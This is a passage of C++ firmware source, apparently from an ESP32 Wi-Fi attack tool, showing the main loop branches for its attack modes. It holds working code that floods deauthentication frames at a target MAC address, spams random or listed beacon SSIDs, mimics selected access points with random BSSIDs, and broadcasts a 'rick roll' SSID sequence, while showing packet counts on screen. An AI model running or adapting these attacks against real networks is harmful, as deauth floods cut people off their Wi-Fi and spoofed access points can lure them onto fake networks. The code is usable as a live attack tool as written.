  2681. String displayString2 = "";
  2682. displayString.concat(text18);
  2683. displayString.concat(packets_sent);
  2684. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2685. displayString2.concat(" ");
  2686. #ifdef HAS_SCREEN
  2687. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2688. display_obj.showCenterText(displayString2, 160);
  2689. display_obj.showCenterText(displayString, 160);
  2690. #endif
  2691. packets_sent = 0;
  2692. }
  2693. }
  2694. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2695. for (int i = 0; i < 55; i++)
  2696. this->sendDeauthAttack(currentTime, this->dst_mac);
  2697. if (currentTime - initTime >= 1000) {
  2698. initTime = millis();
  2699. String displayString = "";
  2700. String displayString2 = "";
  2701. displayString.concat(text18);
  2702. displayString.concat(packets_sent);
  2703. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2704. displayString2.concat(" ");
  2705. #ifdef HAS_SCREEN
  2706. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2707. display_obj.showCenterText(displayString2, 160);
  2708. display_obj.showCenterText(displayString, 160);
  2709. #endif
  2710. packets_sent = 0;
  2711. }
  2712. }
  2713. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2714. for (int i = 0; i < 55; i++)
  2715. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2716. if (currentTime - initTime >= 1000) {
  2717. initTime = millis();
  2718. String displayString = "";
  2719. String displayString2 = "";
  2720. displayString.concat(text18);
  2721. displayString.concat(packets_sent);
  2722. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2723. displayString2.concat(" ");
  2724. #ifdef HAS_SCREEN
  2725. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2726. display_obj.showCenterText(displayString2, 160);
  2727. display_obj.showCenterText(displayString, 160);
  2728. #endif
  2729. packets_sent = 0;
  2730. }
  2731. }
  2732. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2733. // Need this for loop because getTouch causes ~10ms delay
  2734. // which makes beacon spam less effective
  2735. for (int i = 0; i < access_points->size(); i++) {
  2736. if (access_points->get(i).selected)
  2737. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2738. random(256),
  2739. random(256),
  2740. random(256),
  2741. random(256),
  2742. random(256)}});
  2743. }
  2744. if (currentTime - initTime >= 1000)
  2745. {
  2746. initTime = millis();
  2747. //Serial.print("packets/sec: ");
  2748. //Serial.println(packets_sent);
  2749. String displayString = "";
  2750. String displayString2 = "";
  2751. displayString.concat(text18);
  2752. displayString.concat(packets_sent);
  2753. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2754. displayString2.concat(" ");
  2755. #ifdef HAS_SCREEN
  2756. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2757. display_obj.showCenterText(displayString2, 160);
  2758. display_obj.showCenterText(displayString, 160);
  2759. #endif
  2760. packets_sent = 0;
  2761. }
  2762. }
  2763. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2764. {
  2765. // Need this for loop because getTouch causes ~10ms delay
  2766. // which makes beacon spam less effective
  2767. for (int i = 0; i < 55; i++)
  2768. broadcastRandomSSID(currentTime);
  2769. if (currentTime - initTime >= 1000)
  2770. {
  2771. initTime = millis();
  2772. //Serial.print("packets/sec: ");
  2773. //Serial.println(packets_sent);
  2774. String displayString = "";
  2775. String displayString2 = "";
  2776. displayString.concat(text18);
  2777. displayString.concat(packets_sent);
  2778. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2779. displayString2.concat(" ");
  2780. #ifdef HAS_SCREEN
  2781. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2782. display_obj.showCenterText(displayString2, 160);
  2783. display_obj.showCenterText(displayString, 160);
  2784. #endif
  2785. packets_sent = 0;
  2786. }
  2787. }
  2788. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2789. for (int i = 0; i < ssids->size(); i++)
  2790. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2791. if (currentTime - initTime >= 1000)
  2792. {
  2793. initTime = millis();
  2794. packets_sent = 0;
  2795. }
  2796. }
  2797. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2798. for (int i = 0; i < access_points->size(); i++) {
  2799. if (access_points->get(i).selected)
  2800. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2801. }
  2802. if (currentTime - initTime >= 1000) {
  2803. initTime = millis();
  2804. packets_sent = 0;
  2805. }
  2806. }
  2807. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2808. {
  2809. // Need this for loop because getTouch causes ~10ms delay
  2810. // which makes beacon spam less effective
  2811. for (int i = 0; i < 7; i++)
  2812. {
  2813. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2814. {
  2815. broadcastSetSSID(currentTime, rick_roll[x]);
  2816. }
  2817. }
  2818. if (currentTime - initTime >= 1000)
  2819. {
  2820. initTime = millis();
  2821. //Serial.print("packets/sec: ");
  2822. //Serial.println(packets_sent);
  2823. String displayString = "";
  2824. String displayString2 = "";
  2825. displayString.concat(text18);
  2826. displayString.concat(packets_sent);
  2827. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2828. displayString2.concat(" ");
  2829. #ifdef HAS_SCREEN
  2830. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2831. display_obj.showCenterText(displayString2, 160);
  2832. display_obj.showCenterText(displayString, 160);
  2833. #endif
  2834. packets_sent = 0;
  2835. }
  2836. }
  2837. }